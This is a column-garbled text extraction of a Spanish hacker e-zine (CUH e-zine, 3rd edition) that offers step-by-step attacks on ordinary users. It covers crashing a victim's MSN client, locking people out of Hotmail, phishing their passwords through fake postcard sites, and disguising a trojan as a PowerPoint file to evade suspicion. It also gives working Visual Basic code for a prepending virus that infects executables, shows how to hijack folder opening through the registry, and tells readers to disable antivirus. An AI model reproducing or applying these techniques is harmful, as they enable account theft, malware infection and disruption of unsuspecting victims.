simplemente con apretar con el clic derecho en la
conexión abajo a la izquierda esta el IP.

Congelar MSN.
Hacking Newbie
Utilidades MSN CUH e-zine 3ª Edicion
Antes de todo yo les aviso que no estoy de acuerdo ¿Como lo hace?: Este programa se basa en que
con este tipo de actividades. Hotmail tiene un bloqueo, si uno intenta iniciar sesión
Muchos han escuchado del famoso programa muchas veces tu cuenta queda bloqueada de 1 a 5
congelador de MSN o tumba MSN ahora haré un horas, si tienes el programa encendido lo intentara
manual donde explicare su uso desde 0. siempre y hasta que no lo apagues el/ella no podrá
Empecemos por saber para que sirve, el programa entrar….
lo que hace es mandar una cantidad muy grande de NOTA: Si bloqueaste a alguien y después de 1 hora
iconos gestuales de MSN hasta que el uso de cpu entro de nuevo solo cierra el programa y inténtalo
llegue al 99% al llegar a eso el PC de la victima se de nuevo. Solamente se puede aplicar si la persona
queda pegado /colgado (como lo quieran llamar). esta desconectada (si esta conectada solo usa el
Bueno explicare paso a paso. congelador de mas arriba y en el momento que no
Paso 1: Desactivar los iconos gestuales de el MSN este usas el bloqueador y el no podrá ingresar mas
(aprietan en su nick >opciones>mensajes>desactivar o por ing. social dile que se salga 10 segundos)
iconos gestuales) Explicare paso a paso el uso del programa.
Importante: Es muy importante que hagas eso , si no
a ti también se te quedara pegada la PC , también Paso 1: Descargamos el programa de:
aviso que en el momento de tumbar el MSN de tu http://209.85.129.104/search?q=cache:NqV7fvJwIG8
victima tu PC se quedara “pegado “ por J:ciberadictos.spaces.live.com/blog/cns!71FE242F7B
aproximadamente unos 40 segundos. 0E79C9!1428.entry+bloqueador+de+msn&hl=es&ct=cl
nk&cd=13&gl=cl&lr=lang_es
Paso 2: Abre solamente la ventana de tu victima y
abre el congelador de msn Paso 2: Lo abrimos y ponemos el mail de tu victima
(No puede estar conectada)

Listo, hasta que no lo saques no tendrá ni


MSN ni Hotmail, si lo usas seguido a la
misma persona seguramente se terminara por
Y al apretar tumbar MSN, tu PC se quedará pegada crear otra cuenta, espero que no les haga
40 seg., después verás que tu victima se desconecto, problema desconectar a alguien de MSN.
y entrara de nuevo a msn, y se lo haces de nuevo Nota: Sus AV también lo detectaran como
hasta que piense que es un virus xD. virus, pero no les pasara nada se los aseguro.
Nota: Normalmente los antivirus lo detectan como un
Virus. ¿Por qué? Se dice que es por que Microsoft le Hackeo de MSN, las maneras menos complicadas
pago a las casas de Antivirus, ya que nadie ha dado para newbies
con la solución para esto, piensa que si cada ves
que te metes al MSN tienes que reiniciar el PC…. Esto esta echo especialmente para un newbie, y se
Pero les aseguro que no es un virus solo desactiven basa en “hackear” a personas con poca experiencia
su Antivirus y listo, yo lo use y no me paso nada si no en esto, como la mayoría de la gente que usa el
lo uso ahora es por que no me parece adecuado. computador para escuchar musica, navegar, chatear,
LINK DESCARGA DEL PROGRAMA: y usar el office.
http://www.4shared.com/file/25854858/97891d2a/Tu
mba_MSN.html Empecemos por lo menos complicado que todos
pueden hacer, los llamados correos fake,
Bloquear MSN. generalmente se basan en postales, las cuales uno le
envía un correo a alguien en el cual para ver la
¿Que es un bloqueador de MSN? postal hay que logearse a msn, las opciones de los
mejores correos fake o lanzadores de exploits son:
Un bloqueador de MSN lo que hace es que tu
victima no pueda ingresar a su correo ni a su MSN - Tu email (al cual te llegan las contraseñas)
mientras tengas el programa encendido con solo la -Email falso con el cual le llegará el correo (ideal
necesidad de tener su cuenta, sin necesidad de el para poner a alguien conocido de tu victima)
password. - Nombre falso. (Con el cual le llegara el correo)
Hacking Newbie
Utilidades MSN CUH e-zine 3ª Edicion
-Mail verdadero de tu victima. lanzadores.
- Mensaje personal que estará en la postal.
- Tipo de postal (gusanito, tarjetas bubba, tarjetas Otros métodos
NIKO, invitaciones MSN Spaces)
-Tipo de correo (Yahoo, Hotmail, Gmail) El famoso keylogger se basa en un programa el cual
Listo. a través de conexión cliente/servidor graba todo lo
que una persona escribe en su teclado y
Tutorial grafico dependiendo del keylogger graba todas las páginas
Entramos a nuestra página de postales, y ponemos Web ingresadas y deja tomar capturas de pantalla
las opciones, cada cierto tiempo.

Más información en:

Troyanos: http://foro.el-
hacker.com/index.php/topic,85484.0.html
Exploits: http://foro.el-
hacker.com/index.php/board,85.0.html

Con mucha imaginación y con ing. social se puede


conseguir un pass solo es cosa de tiempo.

Trucos msn posteado por Chavero Cheva:


http://foro.el-
hacker.com/index.php/topic,14287.0.html

Bueno le doy las gracias a foro.el-hacker.com y


todos los usuarios y todo el excelente equipo de
moderadores del foro, ya que gracias a esa
Después si todo salio bien nos saldrá esto, comunidad aprendí casi todo lo que se y me enseño
(dependiendo se su Pág. de lanzadores) a ver muchas cosas de forma diferente.
También repito que por opinión personal no estoy de
acuerdo con algunas cosas mencionadas aquí, pero
al ver en las Pág. que lo más descargado es esto y
que muchos entran a este mundo con intenciones
como estas les dejo esto para que aprendan bien.

Son muy fáciles de usar, en el momento de que la


victima quiera leer la postal simplemente la
redireccionará a una página similar a la de inicio de
Hotmail en la cual el/ella ingresará sus datos y
después llegaran a tu bandeja de entrada,
(dependiendo de la página de donde lo mandaste.)
¿Donde encuentro lanzadores de exploits? (Web
donde ingreso los datos mencionados arriba y
manda la postal)
www.google.com , www.cascanolahack.net,
www.colombiahack.com etc.…
Acá tienen una contraseña que me llego, a mi
bandeja de entrada de mi correo
Cualquier duda o comentario
jano_09_9@hotmail.com (solo recibo mails)
Saludos RA19

Gracias a cascanolahack, por su Pág. de


Troyanos y virus
Creacion de troyanos CUH e-zine 3ª Edicion

Crear y Encriptar Troyanos By Angelus_7722


CREAR Y ENCRIPTAR NUESTRO SERVER
Una de las preguntas mas comunes
al momento de crear y encriptar
nuestro server, es como podemos
engañar a nuestra victima para que
no sospeche al momento de abrir nuestro
server.
Antes que todo, debemos tener en cuenta que el arte
que envuelve a la ingeniería social es muy
importante al momento de tratar de conseguir
nuestro cometido, pero no entraré en detalle ya que
este tema se ha tocado en anteriores e-zines.
Lo que haremos es “maquillar” nuestro server para
que no sea tan sospechoso y para ello necesitaremos Seleccionamos Simple Mode y veremos lo siguiente
de las siguientes herramientas:

¾ Server encriptado
¾ Presentación Power Point (.pps)
¾ PowerPoint Slide Show Convert
¾ Iexpress
¾ MiTeC IconFactory
¾ Resoucer Hacker
¾ eXeScope

Utilicé una presentación de Power Point como


archivo señuelo ya que a todo el mundo le encanta
ver este tipo de archivos, por esta razón es
recomendable no usar archivos de imágenes debido
a que en el explorador de windows, el msn y Ahora solo debemos presionar el botón Make Slide
correos electrónicos, pueden pre visualizar Show para que realice la conversión.
imágenes, generando de esta manera sospechas, Una vez finalizada la conversión presionamos el
debido a que el archivo que estamos enviando es de botón aceptar.
extensión .exe
Bueno, lo primero que vamos a hacer es convertir
nuestro archivo lo_mejor.pps en lo_mejor.exe, con
el fin de poder utilizar el Iexpress como binder.
Como todos saben, el Iexpress es una herramienta
propia de Windows que podemos utilizar para unir
o juntar dos archivos de extensiones .exe en uno solo
también de extensión .exe, convirtiéndose de esta
manera en el binder perfecto, indetectable a los anti
virus.
Para ello utilizamos un programa llamado
PowerPoint Slide Show Converter, aunque existen
muchos mas que nos sirve para realizar este tipo de
conversión.
Abrimos Power Point Slide Show Converter:
Al final veras el resultado de tu presentación de
Power Point, en un archivo aplicativo.

Luego veremos el menu principal


Troyanos y virus
Creacion de troyanos CUH e-zine 3ª Edicion
Bueno, lo siguiente que haremos es bindear el server
encriptado (troyano) con lo_mejor.exe (señuelo).

Le damos doble clic a POWERPNT.EXE y veremos


todos los iconos que maneja dicho programa. En
este punto debemos seleccionar el icono que
deseamos y el de mayor tamaño.

No entro en detalle sobre la confifuración ya que la


info la puedes encontrar en foro.el-hacker.com.
El resultado del bindeo es un archivo aplicativo o
ejecutable como el siguiente:

Lo siguiente que haremos es buscar el Icono de


Lo que haremos ahora es guardar el icono para ser
power point, el cual podremos extraer con un
utilizado mas adelante.
programa muy bueno llamado MiTeC IconFactory

Lo siguiente que haremos es abrir el programa y


seleccionar open desde File ubicado en el menú
principal.

El resultado es un archivo con extensión .ico

El siguiente paso es cambiar el icono de nuestro


server, ya que el que tiene actualmente corresponde
Acontinuacion ubicaremos la carpeta de Microsoft al asignado por el IExpress. Para poder hacer el
office para ubicar el icono de Power Point cambio utilizamos programa conocidos por todos
que es el Resoucer Hacker.
Troyanos y virus
Creacion de troyanos CUH e-zine 3ª Edicion
oprimimos el botón Open File with new Icon.. y
ubicamos el archivo POWERPNT_4.ico

Lo que haremos es seleccionar el archivo al que


queremos cambiarle el icono, siendo en nuestro caso
el server que ya bindeamos y que denominamos
como Archivo_IExpress.exe.
Después solo debemos oprimir Replace

Una ves seleccionado el archivo procedemos


eliminar la carpeta AVI como lo muestra en la figura.

Como verán los iconos ya fueron cambiados y solo


queda guardar los cambio con la opción save as y
elegimos guardar sobre el ya existente es decir en
Archivo_IExpress.exe.

El siguiente paso consiste en cambiar el icono, asi


que debes seleccionar la opción Replace Resource

Como se darán cuenta, saldrá un mensaje


preguntando si desean remplazar el archivo, al cual
deberán darle yes. Al final y después de refrescar la
ventana donde se encuntra nuestro server, veremos
que su icono a cambiado.
Ahora lo que debemos hacer es cambiar el icono
actual por el icono de Power Point, para ello
Troyanos y virus
Creacion de troyanos CUH e-zine 3ª Edicion

Si detallan el archivo podrán ver datos como Win32


Cabnet Selft-Extractor y Microsoft Corporation,
información que levantaría sospechas. Para dar
solución a este inconveniente usaremos un programa
llamado eXeScope

Lo siguiente que haremos es dar en la X para cerrar


el programa, pero antes de que se cierra nos pide
confirmar el cambio del tamaño del archivo al cual
le daremos aceptar

Lo que debemos hacer es abrir nuestro server con


este programa.

Al final obtendremos un archivo mas creíble al que


debemos cambiarle el nombre por el original de la
presentación de Power Point, lo_mejor.
Ahora lo que haremos es modificar algunos datos
para mejorar su aspecto, FileDescription y
CompanyName. Lo primero es dar un clic al botón
derecho sobre FileDescription, seleccionamos editar Aclaro que lo mas importante es la Ingeniería Social
y escribimos lo que queramos, por ejemplo Microsoft que usemos con nuestras victimas, aunque un poco
Office, lo mismo hacemos con CompanyName, al de ayuda no está mal.
cual lo cambiaremos por Power Point.
Saludos
Angelus_7722

Después de modificarlo veremos algo como…………


Exploits
Conocimiento Basico De Exploits CUH e-zine 3ª Edicion

Conocimiento Basico De Los Exploits By SkullMaster123

CONOCIMIENTOS BÁSICOS DE
LOS EXPLOITS, Tipos de exploits:
VULNERABILIDADES, ETC...
Aquí nombrare algunos exploits (Los que me
Saludos, bueno aquí les voy a acuerdoXD) su nombre y definición, algunos
explicar conceptos básicos de los exploits y otras también, solo son vulnerabilidades o bugs:
cosas, ya que he visto que muchos users postean esto
lo otro, pues aquí les dejo ciertas cosas básicas! ☺ Desbordamiento del Buffer:
Bueno comencemos:
es un error de software que se produce cuando se
¿Qué es un exploit? copia una cantidad de datos sobre un área que no
es lo suficientemente grande para contenerlos,
Los exploits son unas de las muchas maneras de sobrescribiendo de esta manera otras zonas de
explotar alguna vulnerabilidad en un sistema, cuya memoria. Como consecuencia, se producirá una
seguridad puede ser saltada por este. excepción del acceso a memoria seguido de la
Al hablar de querer explotar un bug tienes que estar terminación del programa o, si se trata de un usuario
programado dicho exploit en el lenguaje obrando con malas intenciones, la explotación de
correspondiente y sin ningún error en sus líneas, una vulnerabilidad o agujero de seguridad.
existen formas diferentes de ejecutarlo ya sea local o Describiendo la técnica:
remota.
Exploit también viene de la palabra ingles, que Un desbordamiento de buffer ocurre cuando los
significa explotar, este en realidad es un código datos que se escriben en un buffer corrompen
malicioso. aquellos datos en direcciones de memoria
adyacentes a los destinados para el buffer, debido a
¿Qué es una Vulnerabilidad? una falta de validación de los datos de entrada

una vulnerabilidad es una debilidad en los Cross-site scripting o XSS:


procedimientos de seguridad, diseño,
implementación o control interno que podría ser Esta es muy conocida, jeje y algunas personas la
explotada (accidental o intencionalmente) y que aprovechan, esto ocurre cuando hay una
resulta en una brecha de seguridad o una violación vulnerabilidad en el HTML o en la validación de este.
de la política de seguridad de sistemas Originalmente abarcaba cualquier ataque que
permitiera ejecutar código de "scripting", como
Explotar Forma Local: VBScript o javascript, en el contexto de otro dominio.

Este caso nuestro exploit esta en nuestra maquina, a Inyección SQL:


eso se refiere el nombre, Un ejemplo bien visto sobre
esta forma de explotar es la shell. También es muy conocida y muy usada esta
vulnerabilidad, esta ocurre en el nivel de la
Explotar Remotamente: validación de las entradas a la base de datos de una
aplicación.
En este caso es lo contrario estaríamos atacando a El origen es el filtrado incorrecto de las variables
algún servidor que tenga red, esto se realiza a través utilizadas en las partes del programa con código
de puerto, sean privilegiados o no. SQL. Es, de hecho, un error de una clase más
general de vulnerabilidades que puede ocurrir en
Puertos Privilegios: cualquier lenguaje de programación o de script que
esté incrustado dentro de otro.(En este caso no seria
Esto son menores que 1024, estos están reservados al un exploit sino una vulnerabilidad)
S.O
Ataque DoS:
Puertos no privilegios:
Es un ataque a un sistema de ordenadores o red que
Estos son mayores que 1024. causa que un servicio o recurso sea inaccesible a los
Exploits
Conocimiento Basico De Exploits CUH e-zine 3ª Edicion
usuarios legítimos. Normalmente provoca la pérdida remitente. Se trata de una técnica muy empleada en
de la conectividad de la red por el consumo del Ingeniería Social. Para poder obtener contraseñas de
ancho de banda de la red de la víctima o Hotmail, yahoo o cualquier tipo de compañía para
sobrecarga de los recursos computacionales del los correos electrónicos.
sistema de la víctima. Al Enviar un mail y la victima hacer click este se
Se genera mediante la saturación de los puertos con ridereccionaba automáticamente al XPLOIT, el cual
flujo de información, haciendo que el servidor se era una mascara , el Xploit le Pedía los datos,
exactamente igual como si fuese el Index de Hotmail,
sobrecargue y no pueda seguir prestando servicios,
Pero una vez Puesto, estas contraseñas van al Email
por eso se le dice "denegación".
del Atacante, luego de ingresar, les salía un error, y
ROOT Exploit: tenían que volver a colocar la contraseña pero esta
vez, si era el Index de Hotmail, e ingresaban a sus
Un rootkit es un utilidad que, archivos en formato Correos Normalmente.
exe o bien ejecutables (como quiera llamarse) han
sido previamente troyanizados por alguna persona Una gran diferencia que se ha de tomar en cuenta!
que los programó, con el fin de que ésta persona ☺
pueda permanecer indetectable al momento de
permanecer en un sistema que va a comprometer. ¿Dónde encuentro Exploits?
Esto es muy utilizado por aquellas personas que no
cuenta con el conocimiento necesario para poder Bueno hay muchas páginas donde descargarlos aquí
programar sus propias herramientas para que los dejo algunas:
mantengan ocultos. Algunos de estos rootkits pueden
llegar a modificar el Kernel, llámese en Windows y http://www.milw0rm.com/
Linux. http://www.securityfocus.com/
http://www.blacksheepnetworks.com/security/hack/
Link ROOT Exploit:
http://rapidshare.com/files/40261958/rootexploits.ra Bueno milworm es buena, pero primero para usar
r.html exploits tienes que leer muchos, también seria buen
que supieras lenguaje de programación en este caso
Escáner de vulnerabilidades: C, ya que es uno de los mas utilizados para los
Bueno este es un programa que muchas personas Exploits, y bueno leer, leer, leer…
que exploten bugs etc deberían tener este escanea Otra cosa nunca ejecutes un exploit si no sabes lo
algún sitio Web y luego te da un informe de las que hace!
vulnerabilidades que tienes (Si es que tiene claro) y
luego de vez en cuando te da un link de ese exploit! Bueno creo que este corto manual menciono ciertas
☺ cosas importantes, hasta donde me acuerdo! Espero
que lo hallan disfrutado y entendido que es muy
Uno de esos programas es: importante, bueno un saludo a toda la C.U.H, y si me
falto algo disculpen!!
Shadow Security Scanner (O SSS)
Y mis mas sinceras disculpas! ;)

- No basta Solo con Escanear una Pagina Web


con Shadow Security Scanner, Acunetix, u
Otro, estos software son de auditoria, dejan
un Log, Tremendo en la maquina remota, los
administradores de estos servidores, si
sabrán quien escaneo, aunque utilices Proxy.

¿Que es un Proxy?

el término Proxy hace referencia a un programa o By-SkullMaster123


dispositivo que realiza una acción en representación
de otro, en pocas palabras esto oculta tu IP.

¿Qué es un Xploit?

Esto NO es lo mismo que Exploit, un Xploit es un


fake mail, Enviar correo electrónico falseando el
Programacion VB
Infectar Ficheros Ejecutables CUH e-zine 3ª Edicion

Infectar Ficheros Ejecutables En Windows By ANYD00M


---------------------------
INFECTAR FICHEROS EJECUTABLES | HOST |
Antes que nada me presento, soy ---------------------------
ANYD00M y les dejo un artículo | MARCA |
sobre como infectar ficheros ---------------------------
ejecutables de Windows utilizando
el lenguaje Visual Basic 6.0. El Bueno, quedo un poco feo, pero da una idea de lo
siguiente artículo no fue creado con que estamos hablando. Lo teórico es solo esto, y esto
fines de inclusión a algún virus aunque así se es lo único que tienen que saber, ahora comencemos
exponga, y debe ser utilizado solo con fines a programar.
educativos y de aprendizaje propio a tu persona. Por
ende debes hacerte responsable de tus acciones a la Primero lo primero…
hora de utilizar el contenido, no nos comprometa ;-)
Para comenzar debemos realizar los principios
básicos, y comenzamos programando en el
Form_Load. Para infectar debemos utilizar una copia
del virus que no se este ejecutando en memoria, sino
al intentar abrirlo el VB nos dará error. El código
estará comentado para no tener que cortarlo con
explicaciones:

Private Sub Form_Load ()


Lo que haremos será crear una rutina para infectar 'Declaramos las variables que usaremos.
archivos ejecutables (*.exe) de un sistema utilizando Dim Vx As String, PE As String
Visual Basic 6.0. El método que usaremos será el
prepending que se basa en introducir los bits del 'Si nos estábamos ejecutando _
virus sobre los bits del ejecutable original y luego terminamos la aplicación
introducirle una marca para saber si esta infectado o If App.PrevInstance Then End
no, normalmente al ejecutable a infectar se lo
denomina host y así lo llamaremos nosotros también. 'Establecemos a Vx como la ruta completa _
Seguramente ya abran oído hablar del prepending y del virus.
abran visto su esquema =P. Mirando el esquema se Vx = App.Path & "\" & App.EXEName & ".exe"
darán una idea mas fluida de lo que estamos
hablando, veamos los esquemas que nos indicaran ‘Copiamos el virus y reestablecemos el _
las 3 secuencias por las que pasa el ejecutable al ser valor de la variable.
infectado. FileCopy Vx, “C:\VIRUS.exe”
Vx = “C:\VIRUS.exe”
1er esquema, el fichero ejecutable en su estado
original: 'Establecemos a Pe como la ruta completa _
--------------------------- del ejecutable a infectar.
| HOST | Pe = "C:\HOST.exe"
---------------------------
'Ya tenemos lo que necesitamos, ahora _
2do esquema, al fichero se le agregan los bits del solo debemos llamar a la Funcion que _
virus: infectara el archivo, pasándole como _
--------------------------- parámetros la ruta del virus y la del _
| VIRUS | archivo a infectar (Pe o C:\HOST.exe)
--------------------------- Call InfectarFichero(Vx, Pe)
| HOST | End Sub
---------------------------
Bien, ahora debemos crear la función que infectara
3er esquema, se agrega una marca de infectado: el fichero (en este caso HOST.exe ubicado en la raíz
--------------------------- C:\). A la Función le pasaremos dos parámetros, el
| VIRUS | primero será la ruta completa del virus y el segundo
Programacion VB
Infectar Ficheros Ejecutables CUH e-zine 3ª Edicion
será la ruta completa del fichero a infectar. Lo que
hará esta función será abrir de forma binaria el
virus, obtener sus bits y bytes, luego abrir el fichero a
infectar y agregarle los bits al principio y la marca al
final.
Eso fue fácil ¿no?, ahora comencemos con la función
principal:

Private Function InfectarFichero(Virus As String, Host


As String)
'Declaramos variable/s
Dim Marca As String, BtsHost As String

'Establecemos la marca
Marca = "HOSTInfectado"
Muy bien, con esto ya tenemos infectado el fichero.
Pero ¿Que pasa si queremos que cuando el usuario
'Abrimos el fichero para saber si esta infectado
ejecute el fichero infectado, para no levantar
Open Host For Binary Access Read As #1
sospechas se ejecute también el ejecutable original?.
'Obtenemos el tamaño en bytes _
Para esto deberíamos crear otra función que cree un
del fichero
archivo temporal con los bits del fichero original, lo
BtsHost = Space(LOF(1))
ejecute y lo elimine. Así quedaría en memoria el virus
'Obtenemos todo su contenido.
y el fichero infectado.
Get #1, , BtsHost
Bueno, comencemos:
'Cerramos el archivo
Close #1
Function DesinfectarFichero(Pe As String)
Dim Host As String
'Miramos si el archivo ya esta infectado
If InStr(BtsHost, Marca) <> 0 Then
'Copiamos para poder abrirlo de forma _
'Si esta infectado salimos.
binaria.
Exit Function
FileCopy Pe, "C:\Temporal.exe"
Else
'Sino lo infectamos...
'Abrimos y extraemos los bits correspondientes _
al Host.
'Establecemos la variable aquí _
Open "C:\Temporal.exe" For Binary Access Read As
ya que si la poníamos al inicio _
#1
y no la usábamos, gastábamos _
'Obtenemos los bits del host, pero ATENCION _
espacio en memoria de gusto.
para esto debemos saber los bits que tenia _
Dim BtsVirus
nuestro virus al ser compilado, esto lo _
pueden obtener en las propiedades ;)
'Abrimos de forma binaria el virus
Host = Space(Len("C:\Temporal.exe") - 20382)
Open Virus For Binary Access Read As #2
'Obtenemos a Host.
'Obtenemos el tamaño (en bytes) usando _
Get #1, , Host
la función Len(Archivo)
'Cerramos
BtsVirus = Space(Len(Virus))
Close #1
'Obtenemos los bits...
Get #2, , BstVirus
'Ahora creamos otro fichero temporal para poner _
'Cerramos el archivo
el Host, no es necesario que exista anteriormente _
Close #2
ya que VB lo crea si no existe.
Open "C:\HostTemporal.exe" For Binary Access
'Abrimos el fichero para infectarlo
Write As #2
Open Host For Binary Access Write As #3
'Ponemos los bits del host
'Ponemos los bits del virus
Put #2, , Host
Put #3, , BtsVirus
'Cerramos
'Ponemos los bits del original
Close #2
Put #3, , BtsHost
'Ponemos la marca
'Ejecutamos el Fichero
Put #3, , Marca
Shell "C:\HostTemporal.exe"
'cerramos
Close #3
'Eliminamos los archivos temporales:
End If
Kill "C:\Temporal.exe"
End Function
Kill "C:\HostTemporal.exe"
Programacion VB
Infectar Ficheros Ejecutables CUH e-zine 3ª Edicion
End Function

Y con esto ya habremos terminado, espero les halla


servido.

Pero a pesar de que tengamos ahora esta valiosa NOTAS:


función, nos hace falta modificar un poco el -Para obtener el tamaño en bytes del virus, una vez
Form_Load, para saber ni bien se ejecute el virus si que lo hallan compilado se dirigen a él y le hacen
se encuentra alojado en un fichero infectado o si es clic derecho, van a propiedades y ahí les dirá el
ejecutado desde su propio ser =P. tamaño.
Así que, vamos a agregar unas líneas al Form_Load:
-La infección de ejecutables en un virus supone un
Private Sub Form_Load() motor de búsqueda de archivos que realice esta
'Declaramos las variables que usaremos. acción por todo el disco, esto lo podrán encontrar
Dim Vx As String, Pe As String fácilmente en Internet pero yo no lo eh puesto ya que
es muy largo.
'Si nos estábamos ejecutando _
terminamos la aplicación
If App.PrevInstance Then End

'Establecemos a Vx como la ruta completa _


del virus.
Vx = App.Path & "\" & App.EXEName & ".exe"

'*Líneas agregadas*
'Verificamos si el tamaño del virus es _
el correcto o pesa mas. De pesar mas _
suponemos que se encuentra en un fichero _
infectado, así que llamamos a la función _
que "desinfecta"
If Len(Vx) > 20382 Then
Call DesinfectarFichero(Vx)
End If

'Establecemos a Pe como la ruta completa _ Les envío un cordial saludo a todos los lectores de la
del ejecutable a infectar. CUH e-zine y espero nos sigan apoyando como lo
Pe = "C:\HOST.exe" han hecho.
Atte. ANYD00M
'Ya tenemos lo que necesitamos, ahora _
solo debemos llamar a la función que _ [Articulo escrito formalmente para la CUH E-Zine #3
infectara el archivo, pasándole como _ de la comunidad El-Hacker.com]
parámetros la ruta del virus y la del _
archivo a infectar (Pe o "C:\HOST.exe"
Call InfectarFichero(Vx, Pe)
End Sub
Programación
Interceptar apertura carpetas CUH e-zine 3ª Edicion

INTERCEPTAR LA APERTURA DE CARPETAS By ANYD00M

un valor, que por defecto será “none” (o estará vació


INTERCEPTAR LA APERTURA DE CARPETAS en algunos casos, creo..). Dicho valor (“none”) es la
acción que va a cumplir Windows, y la buscara en
Lo que veremos a continuación es una las claves que se encuentren dentro de “Directory”. Si
manera de interceptar la apertura de no encuentra dicha acción (“none” no la va a
una carpeta (cualquier carpeta). El encontrar por defecto) abrirá la carpeta con el
articulo que sigue se aplicara al
lenguaje Visual Basic 5.0 o 6.0 y trata archivo “Explorer.exe” ubicado en el directorio de
sobre como modificar el registro.. Windows (%SystemRoot%).

Lo que haremos nosotros será cambiar esa acción,


none, por una nuestra. Luego agregar esa acción a
la clave “Directory” y cuando Windows encuentre la
clave de la acción lo que pedirá será la aplicación
con que hay que abrir la carpeta, y pues esta será
nuestra aplicación.

Veamos esta pequeña imagen hecha


rudimentalmente en el Paint xD
Esta técnica es muy simple y no tiene mucho que
explicar, así que veámoslo:

Cuando se abre una carpeta, al igual que al intentar


abrir un fichero, se producen una serie de
operaciones que lleva a cabo Windows sobre el
registro para saber con que debe mostrar el
contenido de dicha carpeta.

Esta técnica se ah visto aplicada a virus, que, como


ya saben, las carpetas no se pueden infectar en si,
sino su contenido, y esto es lo mas cercano a infectar
una carpeta (abrir la misma y que se abra el virus
también). Lo que veremos nosotros no será como
aplicarla a un virus, ya que no me interesaría
enseñarles eso, sino aplicárselo a una simple
aplicación que nos puede servir como seguridad
para nuestras carpetas.

¿Como lo haremos? Pues no creare una aplicación


de seguridad para carpetas, pero seguramente Como verán, la clave final que debemos modificar
entenderás como se puede hacer después de leer es: “HKEY_CLASSES_ROOT\Directory\Shell” y
esto. debemos cambiar su valor por defecto por una
acción inventada por nosotros, por ej. “PROTECTO”
Cuando hacemos doble clic sobre un icono de
carpeta, estamos enviando un comando a Windows y Luego debemos añadir esa acción, para ello
este comenzara a analizarlo. Pues bien, Windows debemos crear una clave dentro de Shell con el
reconoce que a lo que se le hizo doble clic era a una nombre “PROTECTO” y en su valor por defecto
carpeta, así que… ¿Qué clave de registro tiene que poner nuestra aplicación..
leer para saber como y con que abrirlo? Dicha clave
como ya se deben haber imaginado esta en
HKEY_CLASSES_ROOT y es Directory (Completa:
“HKEY_CLASSES_ROOT\Directory”). Esta clave
contiene otra clave llamada Shell y esta clave tiene
Programación
Interceptar apertura carpetas CUH e-zine 3ª Edicion
Así que antes de empezar con el Form_Load,
arreglemos esa línea, que nos queda así:

Wss.RegWrite
“HKEY_CLASSES_ROOT\Directory\Shell\PROTECT
O\”, Yo & “ %1”

Y no olviden poner el espacio antes del %1 ya que


sino lo hacemos, no lo envía como comando...
Ahora si, pasemos al Form_Load:

Private Sub Form_Load()


‘Verificamos si recibimos comandos
If Command$ <> “” then
‘Si es así, miramos si es una carpeta
If GetAttr Command$ = VbDirectory Then
‘Si es una carpeta, la abrimos con el
Explorer.exe
Shell %SystemRoot% & “\Explorer.exe
“ & Command$
End if
End if
End Sub

Y listo! Ahora si, con eso nos ejecutamos cuando se


abre una carpeta y abrimos dicha carpeta.
Si quieres hacer una especie de aplicación para
proteger carpetas y todavía no se te prendió la
lamparita, te daré una idea (pero no haré código ;-))
Esto seria así: Con el objeto Command$ recibimos la ruta de la
carpeta que se esta queriendo abrir, así que,
Private Sub CrearAccion() previamente tendremos supónganse un archivo, que
Dim Wss as object, Yo as string contendrá todas las carpetas que se desea proteger.
Yo = App.Path & “\” & App.EXEName & “.exe” Así que al recibir los comandos, los comparamos, si
Set Wss = CreateObject(“Scripting.FileSystemObject”) es igual a alguno de los que esta en el archivo,
‘Aplicamos la acción: pedimos contraseña para abrirlo, si la contraseña es
Wss.RegWrite valida la abrimos, sino no la abrimos. Eso es una
“HKEY_CLASSES_ROOT\Directory\Shell\”, pequeña idea que les podrá ayudar.
“PROTECTO”
‘Creamos la accion: Me despido, les envío un cordial saludo.
Wss.RegWrite
“HKEY_CLASSES_ROOT\Directory\Shell\PROTECT ANYD00M
O\”, Yo & “ %1”
End Sub

Con esto ya correríamos nuestra aplicacion cada vez


que se intente abrir una carpeta. Pero no se estaría
abriendo la carpeta, así que la idea seria que en el
Form_Load agreguen unas líneas, que verifiquen si
nuestra aplicación esta recibiendo comandos (se
hace con el objeto Command$) y si esos comandos
corresponden a una carpeta (lo hacemos con
GetAttr). Pero antes debemos arreglar una cosita del
código anterior, lo que debemos hacer es agregar
después de nuestra aplicación en la clave
PROTECTO esto: “%1” (sin Comillas) eso
corresponde a la carpeta que se quiere abrir, para
Windows %1 es una variable ;-)
Hacking Newbie
Introduccion Al ASM II CUH e-zine 3ª Edicion

INTRODUCCION AL ASM II By The Shadow

INTRODUCCION AL ASM II 1- Instrucciones INC y DEC:

“ORIENTANDONOS AL CRACKING y VirII Estas instrucciones son sumamente simples,


CoDiNg”
pero tengo q explikrlas ya q las usaremos después.
Weno … imagínense que es como set a=%a%+1 en
Uno de los principales usos que batch o a++ en C.
se le puede dar a tener un poco de conocimiento del
ensamblador, es no estar perdido en tus primeras INC ~ Increment ~ Incrementa: como su nombre lo
aproximaciones en el cracking. dice, aumenta en uno el valor de un registro o de
una posición de memoria.
DEC ~ Decrement ~ Decrementa: como su nombre lo
dice, disminuye en uno el valor de un registro o de
una posición de memoria.

Ejemplos:

INC DX ;Incrementa DX en uno

DEC DWORD PTR [DI+102] ;Decrementa en uno el
valor del DWORD ubikdo en [DI+102] del segmento
actual

2- Instrucciones de comparación CMP y TEST:


En este segundo tuto intentare darles una Los valores que contienen las flags que utilizan los
orientación básica a lo que es el assembler que usan saltos, los determinan otros comandos, estos son los
los crackers para crackear (XD), sin alejarnos del "comparadores", de estos podemos mencionar los
objetivo artístico de aprender a programar en mnemonicos "cmp" y "test", de los cuales
assembler con aplicación a la creación de virus. estudiaremos el "cmp".

PD: Algunos puntos de interés para el cracking, -Sintaxis del "cmp":


como lo son “los registros”, los obviaré en este tuto cmp v1,v2
ya que en la primera parte los expuse. --donde "v1" corresponde a: un valor hex, un
registro o una posición de memoria. Al igual que
Algo que tenemos q recordar es el registro IP. "v1", "v2" también representa un valor. Así, "cmp
Cuando me refiera a IP, quiero decir Puntero de v1,v2", tomara "v1" como valor de destino y "v2"
Instrucción, el cual recordaremos que es donde se como valor fuente, luego resta el valor fuente menos
ubica la instrucción que se esta ejecutando en un el valor de destino y actualiza las flags con el
programa. resultado. CMP equivale a un SUB lógico, solo q no
guarda sus resultados en los registros, pero si
0- Instrucción LEA actualiza las flags

LEA ~ Load Effective Adress ~ Cargar TEST ~ Comprobar: Equivale a hacer un AND
dirección efectiva lógico, solo q no modifica registros, solo actualiza
Básicamente realiza la funcion de mov, calcula el las flags.
offset del operando origen, y lo almacena en el
destino 3- Manejando saltos condicionales:
